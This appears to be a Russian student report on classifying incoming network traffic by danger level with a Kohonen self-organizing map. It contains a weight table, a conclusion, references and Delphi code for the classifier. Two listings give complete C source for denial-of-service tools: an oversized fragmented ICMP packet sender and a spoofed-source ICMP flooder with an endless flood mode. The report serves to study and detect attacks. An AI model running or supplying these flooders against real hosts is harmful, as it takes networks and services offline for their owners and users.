0,657035152619139

9,23115369270226

Нейрон 10

1

6,97268621817446

0,79277691809128

4,02543058948051

2,46523221397023

3,77806690364019

0,676526389633808

13,8202281014187

0,469769683982962

259,238919476768

0,757542791254212

9,28309047834848

Нейрон 11

1

7,04631978115591

0,866271976699346

4,10365456015304

2,88223720882954

4,03150518348344

0,741278370899166

13,8559400919982

-1,255919505345

293,322921366235

0,704152207962319

9,48440166138134

Нейрон 12

1

6,53912681147659

1,56421780805537

4,65601147347958

2,9067904818665

4,27363452636153

0,618578255936595

12,5822623306945

-2,08418808911294

374,872439162492

0,774431791221968

9,54008041266804

Нейрон 13

1

5,69340841412797

2,44796836439865

5,48622818955848

2,92237813180815

4,67788797387526

0,423401926734283

12,1938129780133

-3,92356491480928

497,650849296462

1,22621001209077

9,58796185267328

Нейрон 14

1

5,10226147046721

2,74988223156105

5,9342783502907

2,83173118981968

4,95695609620259

0,316516196981386

12,0153591762438

-5,69212277788297

553,351005991353

1,42911651866737

9,61230903245157

Нейрон 15

1

6,98052845303821

1,22279827555202

4,46220766547028

2,90189348319595

4,15096271989555

0,718494733032167

13,8462699925973

-0,265034800167613

329,133144315137

0,789272703113608

9,41327311392812

Нейрон 16

1

6,78108488859872

1,4587788312988

4,75098402281347

2,99715775219415

4,35524349138507

0,688106328846737

13,146546408368

-1,83766433492922

378,789970538933

0,911094890831572

9,47688044148138

Нейрон 17

1

5,9813392597355

2,59141112244731

5,42222552146448

2,88984764450358

4,90655379368435

0,558857955310756

12,3129769708837

-1,59557885143347

509,639060778038

1,46442141785324

9,64035319482989

Нейрон 18

1

4,37316852020513

3,93024605710541

6,35532277636607

2,54556862325942

5,71566995847879

0,301720400062721

12,1338787032946

-0,810932403256381

666,82904006035

2,40887775038786

9,71260136248531

Нейрон 19

1

3,82835833175608

4,14740478540821

6,51201817449346

2,53488453447905

5,87186670401515

0,209331814630084

12,1270372594924

-1,30049493872786

704,444674316111

2,25030241452771

9,65725372019714

Нейрон 21

1

6,39813422562582

2,08493929159042

5,32829499657161

3,06032597511598

4,7641814353147

0,582189552264411

12,5599245219555

-1,96191395295381

469,290874929838

1,22613369905861

9,46669357056521

Нейрон 23

1

3,55908012277478

4,77646016724021

6,74861021282903

2,41585236193159

6,31871793270481

0,255152204011248

12,1980038558062

1,93696746210735

759,876377313462

2,82715213468638

9,64367900062772

Нейрон 24

1

3,37428950504548

4,73559755878779

6,67504947616927

2,51158813130044

6,22501279809869

0,20990156336746

12,1086739774428

1,00744771459805

778,544161691368

2,27296953057915

9,5765164059112

Табл. 1.Весовые коэффициенты нейронов карты Кохонена для примера 1.


Заключение

Врезультате проделанной работы создана интеллектуальная система анализавходящего трафика по классам опасности. Система построена на использованиинейронной сети конкурирующего типа. Реализовано обучение сети пятью методамисамоорганизации: классический (с настройкой соседей и без неё), механизмутомления (с настройкой соседей и без неё) и алгоритм нейронного газа. Вкачестве обучающей выборки были использованы данные из журнала входящеготрафика, содержащие как пакета передачи данных и управляющие пакеты, так и“опасные” пакеты направленные на нарушение работы хоста (атака для созданиядоверительного TCP – соединения, лавинное заваливание ICMPи UDP пакетами, передача крупных несвязанныхфрагментированных пакетов). Входящие пакеты объединялись в группы и для каждойиз групп определялись интегральные критерии на принадлежность к классуопасности. В результате самообучения нейронной сети создан классификаторвходящих пакетов.


Списокиспользуемой литературы

1. ДжонЧирилло. Обнаружение хакерских атак. Для профессионалов (+CD).– СПб.: Питер 2003. – 864 с.: ил.

2. И.Д. Медведовский, П.В. Семьянов,В.В. Платонов. Атака через Internet. Москва. НПО «Мир и семья-95» — 1997 3.Арсеньев С. “Извлечениеданных из медицинских баз данных”

4. Круглов В.В., Борисов В.В. “Искусственныенейронные сети. Теория и практика”. –2-е изд., стереотип. — Москва: Горячаялиния – Телеком, 2002 г. – 382 с.: ил.

5. Горбань А.Н., Россиев Д.А.“Нейронные сети на персональном компьютере” – Новосибирск: Наука. Сибирскаяиздательская фирма РАН, 1996 г. –276 с.: ил.

6. Ф. Уоссерман “Нейрокомпьютернаятехника: теория и практика” – Москва.: Мир, 1992 –182 стр.: ил.

7. Корнеев В.В., Гареев А.Ф., ВасютинС.В., Райх В.В. “Базы данных. Интеллектуальная обработка информации” – Москва.:“Нолидж”, 2000 г., — 356с.: ил.

8. ОсовскийСтанислав. Нейронные сети для обработки информации. М: Финансы и статистика. 2002 г. –335 с: ил.

9. НазаровА.В., Лоскутов А.И. Нейросетевые алгоритмы прогнозирования и оптимизациисистем. Санкт-Петергург, Наука и техника. 2003 г. -


Листинг программ

1.Атака лавинного типа(запрос на создание TCP-соедиения)

#include<stdio.h>

#include<sys/types.h>

#include<sys/socket.h>

#include<netdb.h>

#include<netinet/in.h>

#include<netinet/in_systm.h>

#include<netinet/ip.h>

#include<netinet/ip_icmp.h>

#ifdefREALLY_RAW

#define FIX(x)htons(x)

#else

#define FIX(x)(x)

#endif

int

main(int argc,char **argv)

{

 int s;

 charbuf[1500];

 struct ip *ip= (struct ip *)buf;

 struct icmp*icmp = (struct icmp *)(ip + 1);

 structhostent *hp;

 structsockaddr_in dst;

 int offset;

 int on = 1;

 bzero(buf,sizeof buf);

 if ((s =socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {

 perror(«socket»);

 exit(1);

 }

 if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {

 perror(«IP_HDRINCL»);

 exit(1);

 }

 if (argc !=2) {

 fprintf(stderr,«usage: %s hostname\n», argv[0]);

 exit(1);

 }

 if ((hp =gethostbyname(argv[1])) == NULL) {

 if((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {

 fprintf(stderr,"%s: unknown host\n", argv[1]);

 }

 } else {

 bcopy(hp->h_addr_list[0],&ip->ip_dst.s_addr, hp->h_length);

 }

 printf(«Sendingto %s\n», inet_ntoa(ip->ip_dst));

 ip->ip_v =4;

 ip->ip_hl= sizeof *ip >> 2;

 ip->ip_tos= 0;

 ip->ip_len= FIX(sizeof buf);

 ip->ip_id= htons(4321);

 ip->ip_off= FIX(0);

 ip->ip_ttl= 255;

 ip->ip_p =1;

 ip->ip_sum= 0; /* kernel fills in */

 ip->ip_src.s_addr= 0; /* kernel fills in */

 dst.sin_addr= ip->ip_dst;

 dst.sin_family= AF_INET;

 icmp->icmp_type= ICMP_ECHO;

 icmp->icmp_code= 0;

 icmp->icmp_cksum= htons(~(ICMP_ECHO << 8));

 /* thechecksum of all 0's is easy to compute */

 for (offset =0; offset < 65536; offset += (sizeof buf — sizeof *ip)) {

 ip->ip_off= FIX(offset >> 3);

 if (offset< 65120)

 ip->ip_off|= FIX(IP_MF);

 else

 ip->ip_len= FIX(418); /* make total 65538 */

 if (sendto(s,buf, sizeof buf, 0, (struct sockaddr *)&dst,

 sizeof dst)< 0) {

 fprintf(stderr,«offset %d: », offset);

 perror(«sendto»);

 }

 if (offset ==0) {

 icmp->icmp_type= 0;

 icmp->icmp_code= 0;

 icmp->icmp_cksum= 0;

 }

 }

}

Листинг 2. Атакалавинного типа подменёнными ICMP –пакетами.

#include<sys/types.h>

#include<sys/socket.h>

#include<stdio.h>

#include<unistd.h>

#include<stdlib.h>

#include<string.h>

#include<netdb.h>

#include<netinet/ip.h>

#include<netinet/in.h>

#include<netinet/ip_icmp.h>

#defineIPHDRSIZE sizeof(struct iphdr)

#defineICMPHDRSIZE sizeof(struct icmphdr)

#define VIRGIN«1.1»

voidversion(void) {

printf(«flood%s — by FA-Q\n», VIRGIN);

 }

voidusage(const char *progname)

 {

printf(«usage:%s [-fV] [-c count] [-i wait] [-s packetsize] <target> <broadcast>\n»,progname);

 }

unsigned char*dest_name;

unsigned char*spoof_name = NULL;

structsockaddr_in destaddr, spoofaddr;

unsigned longdest_addr;

unsigned longspoof_addr;

unsigned pingsize,pingsleep, pingnmbr;

char flood =0;

unsigned shortin_cksum(addr, len)

 u_short*addr;

 int len;

{

 register intnleft = len;

 registeru_short *w = addr;

 register intsum = 0;

 u_shortanswer = 0;

 

 while (nleft> 1) {

 sum += *w++;

 nleft -= 2;

 }

 

 if (nleft ==1) {

 *(u_char*)(&answer) = *(u_char *)w;

 sum +=answer;

 }

 sum = (sum>> 16) + (sum & 0xffff);

 sum += (sum>> 16);

 answer =~sum;

 return(answer);

}

int resolve(const char *name, struct sockaddr_in *addr, int port )

 {

struct hostent*host;

bzero((char*)addr,sizeof(struct sockaddr_in));

if (( host =gethostbyname(name) ) == NULL ) {

 fprintf(stderr,"%swill not resolve\n",name);

 perror("");return -1;

}

 

addr->sin_family= host->h_addrtype;

memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);

addr->sin_port= htons(port);

 

 return 0;

 }

unsigned longaddr_to_ulong(struct sockaddr_in *addr)

 {

returnaddr->sin_addr.s_addr;

 }

intresolve_one(const char *name, unsigned long *addr, const char *desc)

 {

 structsockaddr_in tempaddr;

if(resolve(name, &tempaddr,0) == -1) {

 printf("%swill not resolve\n",desc);

 return -1;

}

 

*addr =tempaddr.sin_addr.s_addr;

 return 0;

 }

intresolve_all(const char *dest,

const char*spoof)

 {

 if(resolve_one(dest,&dest_addr,«dest address»)) return -1;

if(spoof!=NULL)

 if(resolve_one(spoof,&spoof_addr,«spoof address»)) return -1;

spoofaddr.sin_addr.s_addr= spoof_addr;

 spoofaddr.sin_family= AF_INET;

destaddr.sin_addr.s_addr= dest_addr;

destaddr.sin_family= AF_INET;

 }

voidgive_info(void)

 {

 printf("\nattacking(%s) from (%s)\n",inet_ntoa(spoof_addr),dest_name);

 }

intparse_args(int argc, char *argv[])

 {

 int opt;

char *endptr;

while((opt=getopt(argc, argv, «fc:s:i:V»)) != -1) {

 switch(opt) {

 case 'f':flood = 1; break;

 case 'c':pingnmbr = strtoul(optarg,&endptr,10);

 if (*endptr!= '\0') {

 printf("%sis an invalid number '%s'.\n", argv[0], optarg);

 return -1;

 }

 break;

 case 's':pingsize = strtoul(optarg,&endptr,10);

 if (*endptr!= '\0') {

 printf("%sis a bad packet size '%s'\n", argv[0], optarg);

 return -1;

 }

 break;

 case 'i':pingsleep = strtoul(optarg,&endptr,10);

 if (*endptr!= '\0') {

 printf("%sis a bad wait time '%s'\n", argv[0], optarg);

 return -1;

 }

 break;

 case 'V':version(); break;

 case '?':

 case ':':return -1; break;

 }

 

}

 

if (optind> argc-2) {

 return -1;

}

 

 if(!pingsize)

 pingsize =28;

 else

 pingsize =pingsize — 36;

 if(!pingsleep)

 pingsleep =100;

spoof_name =argv[optind++];

dest_name =argv[optind++];

 return 0;

 }

 inline inticmp_echo_send(int socket,

 unsigned longspoof_addr,

 unsigned longt_addr,

 unsigned pingsize)

 {

unsigned charpacket[5122];

struct iphdr *ip;

struct icmphdr*icmp;

struct iphdr *origip;

 unsigned char*data;

 int i;

ip = (structiphdr *)packet;

icmp = (structicmphdr *)(packet+IPHDRSIZE);

origip =(struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);

data = (char*)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);

memset(packet,0, 5122);

ip->version= 4;

ip->ihl =5;

ip->ttl =255-random()%15;

ip->protocol= IPPROTO_ICMP;

ip->tot_len= htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);

 bcopy((char*)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));

 bcopy((char*)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr));

ip->check =in_cksum(packet,IPHDRSIZE);

origip->version= 4;

origip->ihl= 5;

origip->ttl= ip->ttl — random()%15;

origip->protocol= IPPROTO_TCP;

origip->tot_len= IPHDRSIZE + 30;

origip->id =random()%69;

 bcopy((char*)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));

 origip->check= in_cksum(origip,IPHDRSIZE);

*((unsignedint *)data) = htons(pingsize);

icmp->type= 8; /* why should this be 3? */

icmp->code= 0;

icmp->checksum= in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);

returnsendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,

 (structsockaddr *)&destaddr,sizeof(struct sockaddr));

 }

void main(intargc, char *argv[])

 {

 int s, i;

 intfloodloop;

 

if(parse_args(argc,argv))

 {

 usage(argv[0]);

 return;

 }

resolve_all(dest_name,spoof_name);

give_info();

 

 s =socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

 if (!flood)

 {

 if(icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

 {

 printf("%serror sending packet\n",argv[0]); perror(""); return;

 }

 }

else

 {

 floodloop =0;

 if ( pingnmbr&& (pingnmbr > 0) )

 {

 printf(«sending…packet limit set\n»);

 for(i=0;i<pingnmbr;i++)

 {

 if(icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

 {

 printf("%serror sending packet\n",argv[0]); perror(""); return;

 }

 usleep((pingsleep*1000));

 if(!(floodloop = (floodloop+1)%25))

 {fprintf(stdout,"."); fflush(stdout);

 }

 }

 printf("\ncomplete,%u packets sent\n", pingnmbr);

 }

 else {

 printf(«flooding,(. == 25 packets)\n»);

 for(i=0;i<1;i)

 {

 if(icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

 {

 printf("%serror sending packet\n",argv[0]); perror(""); return;

 }

 usleep(900);

 if(!(floodloop = (floodloop+1)%25))

 {fprintf(stdout,"."); fflush(stdout);

 }

 }

 }

 }

 }

Листинг 3.Самоорганизующаяся карта признаков.

TNeuron = class

 public

 IntVal:TIntArray;

 ExtVal:TExtArray;

 Pos:Extended;

 Status:Extended;

 Y: Extended;

 MassWeight:Array of Extended;

 constructorInit(a: PIntArray; b: PExtArray);

 functionFunctionActivation: Extended;

 procedureGetAksonValue(a: PExtArray);

 procedureRandomization;

 procedureDistantion(a: PExtArray);

 end;

 TLayer =class

 public

 ExtArr:TExtArray;

 Neurons: Arrayof TNeuron;

 QNeurons:integer;

 QInputs:integer;

 InputValues:Array of Extended;

 OutputValues: Array of Extended;

 constructorInit(a: PIntArray; b: PExtArray);

 procedureGetInputValues(Values: PExtArray);

 procedureGetOutputValues;

 procedureExcitement;

 procedurerandomization;

 end;

 TKohonenLayer= class(TLayer)

 public

 eta,sigma:Extended;

 h,w: Word;

 constructorInit(a: PIntArray; b: PExtArray);

 procedureNormalize;

 functionTheWinnerTakesItAll: integer;

 functionClassic: integer;

 procedureLearning(a: integer; SpeedLearn: Extended);

 procedureLearningNeib(a: integer; SpeedLearn: Extended);

 procedureSigmaInit(s: Extended);

 procedureConvexCombination(delta: Extended);

 procedureNeuralGaz(SpeedLearn: Extended);

 end;

procedureTKohonenLayer.SigmaInit(s: Extended);

begin

 Sigma:=s;

end;

procedureTKohonenLayer.ConvexCombination(delta: Extended);

var i:integer;

begin

 eta:=eta+delta;

 sigma:=sigma+0.1-10*delta;

 for i:=0 toQInputs-1 do InputValues[i]:=InputValues[i]*eta+(1-eta)/sqrt(QInputs);

end;

constructorTKohonenLayer.Init(a: PIntArray; b: PExtArray);

var i:integer;

New:TIntArray;

begin

 InheritedInit(a,b);

 New:=a^;

 H:=New.Value[3];

 W:=Round(New.Value[2]/New.Value[3]);

 Randomization;

 for i:=0 toNew.Value[2]-1 do Neurons[i].Pos:=3.75;

 eta:=0;

end;

procedureTKohonenLayer.Normalize;

var i:integer;

 Sum:Extended;

begin

 Sum:=0;

 for i:=0 toQInputs-1 do Sum:=Sum+Sqr(InputValues[i]);

 for i:=0 toQInputs-1 do

 InputValues[i]:=InputValues[i]/Sqrt(Sum);

end;

functionTKohonenLayer.TheWinnerTakesItAll: integer;

var i,p:integer;

Min:Extended;

begin

 Min:=Neurons[0].Y;

 p:=0;

 for i:=1 toQNeurons-1 do

 begin

 ifNeurons[i].Pos>0.75 then

 ifMin>Neurons[i].Y then

 begin

 p:=i;

 Min:=Neurons[i].Y;

 end;

 end;

 for i:=0 toQNeurons-1 do Neurons[i].Y:=0;

 for i:=0 toQNeurons-1 do

 if i=p thenNeurons[i].Pos:=Neurons[i].Pos-0.75

 elseNeurons[i].Pos:=Neurons[i].Pos+1/QNeurons;

 Neurons[p].Y:=1;

 GetOutputValues;

 TheWinnerTakesItAll:=p;

end;

functionTKohonenLayer.Classic: integer;

var i,p:integer;

Min:Extended;

begin

 Min:=Neurons[0].Y;

 p:=0;

 for i:=1 toQNeurons-1 do

 begin

 ifMin>Neurons[i].Y then

 begin

 p:=i;

 Min:=Neurons[i].Y;

 end;

 end;

 for i:=0 toQNeurons-1 do Neurons[i].Y:=0;

 Neurons[p].Y:=1;

 GetOutputValues;

 Classic:=p;

end;

procedureTKohonenLayer.Learning(a: integer; SpeedLearn: Extended);

var i:integer;

begin

 for i:=1 toQInputs do

 Neurons[a].MassWeight[i]:=Neurons[a].MassWeight[i]+

 SpeedLearn*(InputValues[i-1]-Neurons[a].MassWeight[i]);

end;

procedureTKohonenLayer.LearningNeib(a: integer; SpeedLearn: Extended);

var i,j:integer;

begin

 for j:=0 toQNeurons-1 do

 begin

 for i:=1 toQInputs do

 Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+

 exp(-(Sqr((jdiv w)-(a div w)) + Sqr((j mod h)-(a mod h)))/(2*Sqr(sigma)))

 *SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]);

 end;

end;

procedureTKohonenLayer.NeuralGaz(SpeedLearn: Extended);

var i,j,k,p:integer;

Mass: Arrayof Extended;

Min:Extended;

begin

 SetLength(Mass,QNeurons);

 for i:=0 toQNeurons-1 do Mass[i]:=-1;

 p:=0;

 for i:=0 toQNeurons-1 do

 begin

 p:=p+1;

 Min:=999999;

 k:=-1;

 for j:=0 toQNeurons-1 do

 begin

 ifNeurons[j].Y<Min then

 if Mass[j]=-1then

 begin

 k:=j;

 Min:=Neurons[j].Y;

 end;

 end;

 Mass[k]:=p;

 end;

 for j:=0 toQNeurons-1 do

 begin

 for i:=1 toQInputs do

 Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+

 exp(-Mass[j]/Sigma)*SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]);

 end;

end;

constructorTNeuron.Init(a: PIntArray; b: PExtArray);

var

New:TIntArray;

begin

 New:=a^;

 ExtVal:=b^;

 IntVal:=TIntArray.Init(2);

 IntVal.Value[0]:=New.Value[0]+1;

 IntVal.Value[1]:=New.Value[1];

 SetLength(MassWeight,IntVal.Value[0]);

 ifIntVal.Value[0]>0 then MassWeight[0]:=0;

 Status:=0;

 Y:=0;

 Pos:=0;

end;

procedureTNeuron.GetAksonValue(a: PExtArray);

var

 i: integer;

 b:TExtArray;

begin

 b:=a^;

 Status:=MassWeight[0];

 for i:=1 toIntVal.Value[0]-1 do Status:=Status+MassWeight[i]*b.Value[i-1];

 Y:=FunctionActivation;

end;

procedureTNeuron.Distantion(a: PExtArray);

var i:integer;

b: TExtArray;

begin

 b:=a^;

 Status:=0;

 for i:=1 toIntVal.Value[0]-1 do Y:=Y+Sqr(MassWeight[i]-b.Value[i-1]);

 Y:=Sqrt(Y);

end;

functionTNeuron.FunctionActivation: Extended;

Var m:Extended;

begin

 caseIntVal.Value[1] of

 1:m:=1/(1+exp(-ExtVal.Value[0]*Status));

 2:m:=ExtVal.Value[0]*Status;

 end;

 FunctionActivation:=m;

end;

procedureTNeuron.Randomization;

var i:integer;

begin

 for i:=0 toIntVal.Value[0]-1 do MassWeight[i]:=random(255);

end;

constructorTLayer.Init(a: PIntArray; b: PExtArray);

var i:integer;

//c:TIntArray;

IntArr:TIntArray;

begin

 IntArr:=a^;

 QInputs:=IntArr.Value[0];

 QNeurons:=IntArr.Value[2];

 IntArr.NewLength(2);

 ExtArr:=b^;

 SetLength(Neurons,SizeOf(TNeuron)*QNeurons);

 for i:=0 toQNeurons-1 do Neurons[i]:=TNeuron.Init(@IntArr,b);

 SetLength(InputValues,QInputs);

 for i:=0 toQInputs-1 do InputValues[i]:=0;

 SetLength(OutputValues,QNeurons);

end;

procedureTLayer.GetInputValues(Values: PExtArray);

var i:integer;

 a:TExtArray;

begin

 a:=Values^;

 for i:=0 toQInputs-1 do InputValues[i]:=a.Value[i];

end;

procedureTLayer.Excitement;

var i:integer;

 a:TExtArray;

begin

 a:=TExtArray.Init(QInputs);

 for i:=0 toQInputs-1 do a.Value[i]:=InputValues[i];

 for i:=0 toQNeurons-1 do Neurons[i].Distantion(@a);//GetAksonValue(@a);

 GetOutputValues;

end;

procedureTLayer.GetOutputValues;

var i:integer;

begin

 for i:=0 toQNeurons-1 do OutputValues[i]:=Neurons[i].Y;

end;

procedureTLayer.randomization;

var i:integer;

begin

 for i:=0 toQNeurons-1 do Neurons[i].Randomization;

end;

procedureTForm1.Button2Click(Sender: TObject);

var

F: TextFile;

i,j,p,s1,s2,k: integer;

Str: String;

Ch: Char;

Sum: integer;

Temp: Arrayof String;

begin

OpenDialog1.Filter:='Æóðíàëüíûéôàéë|*.log|';

if(OpenDialog1.Execute) and fileExists(OpenDialog1.FileName) then

 begin

 AssignFile(F,OpenDialog1.FileName);

 Reset(F);

 ReadLn(F);

 Read(F,Q);

 SetLength(Prot,Q);

 SetLength(Host,Q);

 SetLength(LocalH,Q);

 SetLength(Frag,Q);

 SetLength(Size,Q);

 SetLength(Proc,Q);

 SetLength(Active,Q);

 SetLength(HACK,Q);

 MyList.Clear;

 MyList.Add('Íîìåð');

 MyList.Add('Ïðîòîêîë');

 MyList.Add('Õîñò');

 MyList.Add('ÑâîÿËÂÑ');

 MyList.Add('Ôðàãìåíòàöèÿ');

 MyList.Add('Ðàçìåð');

 MyList.Add('Ïðîöåññîð%%');

 MyList.Add('Îòâå÷àåò');

 StringGrid1.RowCount:=Q+1;

 StringGrid1.Rows[0]:=MyList;

 for i:=0 toQ-1 do

 begin

 MyList.Clear;

 Read(F,j);

 MyList.Add(IntToStr(j));

 //Memo4.Lines.Add(IntToStr(j));

 Read(F,Ch);

 Read(F,Ch);

 Read(F,Ch);

 Prot[i]:='';

 While(ch<>'') do

 begin

 Prot[i]:=Prot[i]+Ch;

 Read(F,Ch);

 end;

 MyList.Add(Prot[i]);

 Read(F,Ch);

 Read(F,Ch);

 Read(F,Ch);

 Host[i]:='';

 While(ch<>'') do

 begin

 Host[i]:=Host[i]+Ch;

 Read(F,Ch);

 end;

 MyList.Add(Host[i]);

 Read(F,Ch);

 Read(F,Ch);

 Str:='';

 While(ch<>'') do

 begin

 Str:=Str+Ch;

 Read(F,Ch);

 end;

 MyList.Add(Str);

 if Str='YES'then LocalH[i]:=1 else LocalH[i]:=0;

 Read(F,Ch);

 Read(F,Ch);

 Str:='';

 While(ch<>'') do

 begin

 Str:=Str+Ch;

 Read(F,Ch);

 end;

 MyList.Add(Str);

 if Str='YES'then Frag[i]:=1 else Frag[i]:=0;

 Read(F,Size[i]);

 MyList.Add(IntToStr(Size[i]));

 Read(F,Proc[i]);

 MyList.Add(IntToStr(Proc[i]));

 Read(F,Ch);

 Read(F,Ch);

 Read(F,Ch);

 Str:='';

 While(ch<>'') do

 begin

 Str:=Str+Ch;

 Read(F,Ch);

 end;

 MyList.Add(Str);

 if Str='YES'then Active[i]:=1 else Active[i]:=0;

 StringGrid1.Rows[j]:=MyList;

 Read(F,Ch);

 if Ch='H'then HACK[i]:=1 else HACK[i]:=0;

 //Memo4.Lines.Add('**************');

 end;

 //Memo4.Lines.Add(IntToStr(Q));

 CloseFile(F);

 SetLength(Temp,10);

 SetLength(Mass,(Q-1)*11);

 SetLength(SHack,Q-1);

 for i:=0 toQ-12 do

 begin

 Mass[12*i]:=0;

 for j:=0 to 9do Mass[12*i]:=Mass[12*i]+LocalH[i+j];

 Mass[12*i+1]:=0;

 for j:=0 to 9do Mass[12*i+1]:=Mass[12*i+1]+Frag[i+j];

 Mass[12*i+2]:=0;

 Mass[12*i+3]:=0;

 for j:=0 to 9do

 ifProt[i+j]='TCP' then Mass[12*i+2]:=Mass[12*i+2]+1;

 for j:=0 to 9do

 ifProt[i+j]='UDP' then Mass[12*i+3]:=Mass[12*i+3]+1;

 Sum:=1;

 s1:=0;

 for j:=0 to 9do

 begin

 Str:=Host[i+j];

 p:=0;

 for k:=0 to 9do

 begin

 ifStr=Host[i+k] then

 begin

 p:=p+1;

 s2:=k;

 end;

 end;

 if p>Sumthen

 begin

 Sum:=p;

 s1:=s2;

 end;

 end;

 Mass[12*i+4]:=Sum;

 Mass[12*i+5]:=LocalH[i+s1];

 Sum:=0;

 for j:=0 to 9do Sum:=Sum+Proc[i+j];

 Mass[12*i+6]:=Sum/10;

 Mass[12*i+7]:=Proc[i+9]-Proc[i];

 Sum:=0;

 for j:=0 to 9do Sum:=Sum+Size[i+j];

 Mass[12*i+8]:=Sum/10;

 Sum:=0;

 for j:=0 to 9do

 if(Size[i+j]>=0.8*Mass[12*i+8])and

 (Size[i+j]<=1.2*Mass[12*i+8])then Sum:=Sum+1;

 Mass[12*i+9]:=Sum;

 Sum:=0;

 for j:=0 to 9do Sum:=Sum+Active[i+j];

 Mass[12*i+10]:=Sum;

 for j:=0 to 9do Temp[j]:=Host[i+j];

 for j:=0 to 8do

 begin

 Str:=Temp[j];

 for k:=0 to 9do

 if k<>jthen

 ifStr=Temp[k] then Temp[k]:='';

 end;

 Sum:=0;

 for j:=0 to 9do

 ifTemp[j]<>'' then Sum:=Sum+1;

 Mass[12*i+11]:=Sum;

 Sum:=0;

 for j:=0 to 9do Sum:=Sum+HACK[i+j];

 SHAck[i]:=Sum;

 end;

end;

end;

procedureTForm1.InitializationMap;

var i,j,p:integer;

begin

 for i:=0 toH*W-1 do

 begin

 p:=Random(Q-13);

 for j:=0 to10 do

 KMap.Neurons[i].MassWeight[j+1]:=Mass[12*p+j];

 end;

end;

procedureTForm1.Button3Click(Sender: TObject);

var i,j,p,k,m: integer;

 Quant,Winner: integer;

 Part:TExtArray;

 SMax,SMin:Extended;

begin

 InitializationMap;

 for i:=0 toImage1.Height-1 do

 for j:=0 toImage1.Width-1 do

 Image1.Picture.Bitmap.Canvas.Pixels[i,j]:=RGB(150,150,150);

 Quant:=StrToInt(Edit3.Text);

 Part:=TExtArray.Init(12);

 SMax:=0.7;

 SMin:=0.0001;

 ProgressBar1.Max:=Quant;

 ProgressBar1.Position:=0;

 for i:=0 toQuant-1 do

 begin

 KMap.SigmaInit(10*(1-i/Quant)+0.1);

 p:=Random(Q-12);

 for j:=0 to11 do Part.Value[j]:=Mass[12*p+j];

 KMap.GetInputValues(@Part);

 KMap.Excitement;

 CaseRadioGroup1.ItemIndex of

 0:

 begin

 Winner:=KMap.Classic;

 ifCheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant)

 else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant);

 end;

 1:

 begin

 Winner:=KMAp.TheWinnerTakesItAll;

 ifCheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant)

 else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant)

 end;

 2:

 begin

 KMap.NeuralGaz(SMax-(SMax-SMin)*i/Quant);

 end;

 end;

 ProgressBar1.StepBy(1);

 end;

 ProgressBar1.Position:=0;

 for i:=0 toKMap.QNeurons-1 do

 KMap.Neurons[i].MassWeight[0]:=0;

 for i:=0 toQ-12 do

 begin

 for j:=0 to11 do Part.Value[j]:=Mass[12*i+j];

 KMap.GetInputValues(@Part);

 KMap.Excitement;

 Winner:=KMap.Classic;

 KMap.Neurons[Winner].MassWeight[0]:=1;

 //Memo4.Lines.Add(IntToStr(Winner));

 if SHack[i]>=8then

 begin

 for m:=0 toW1-1 do

 for k:=0 toH1-1 do

 Image1.Picture.Bitmap.Canvas.Pixels[(Winnerdiv W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,0,0);

 end

 else if SHack[i]=7then

 begin

 for m:=0 toW1-1 do

 for k:=0 toH1-1 do

 Image1.Picture.Bitmap.Canvas.Pixels[(Winnerdiv W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,40,40);

 end

 else if SHack[i]=6then

 begin

 for m:=0 toW1-1 do

 for k:=0 toH1-1 do

 Image1.Picture.Bitmap.Canvas.Pixels[(Winnerdiv W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,80,80);

 end

 else if SHack[i]=5then

 begin

 for m:=0 toW1-1 do

 for k:=0 toH1-1 do

 Image1.Picture.Bitmap.Canvas.Pixels[(Winnerdiv W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,120,120);

 end

 else if SHack[i]=4then

 begin

 for m:=0 toW1-1 do

 for k:=0 toH1-1 do

 Image1.Picture.Bitmap.Canvas.Pixels[(Winnerdiv W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,160,160);

 end

 else if SHack[i]=3then

 begin

 for m:=0 toW1-1 do

 for k:=0 toH1-1 do

 Image1.Picture.Bitmap.Canvas.Pixels[(Winnerdiv W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,200,200);

 end

 else

 begin

 for m:=0 toW1-1 do

 for k:=0 toH1-1 do

 Image1.Picture.Bitmap.Canvas.Pixels[(Winnerdiv W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,225,225);

 end;

 //Image2.Picture.Bitmap.Canvas.

 //.Pixels[j,i]:=RGB(

 end;

 for i:=0 toKMap.QNeurons-1 do

 begin

 ifKMap.Neurons[i].MassWeight[0]=1 then

 begin

 Memo3.Lines.Add('Íåéðîí'+IntToStr(i));

 for j:=0 toKMap.QInputs-1 do

 Memo3.Lines.Add(FloatToStr(KMap.Neurons[i].MassWeight[j]));

 end;

 end;

end;

еще рефераты
Еще работы по информатике, программированию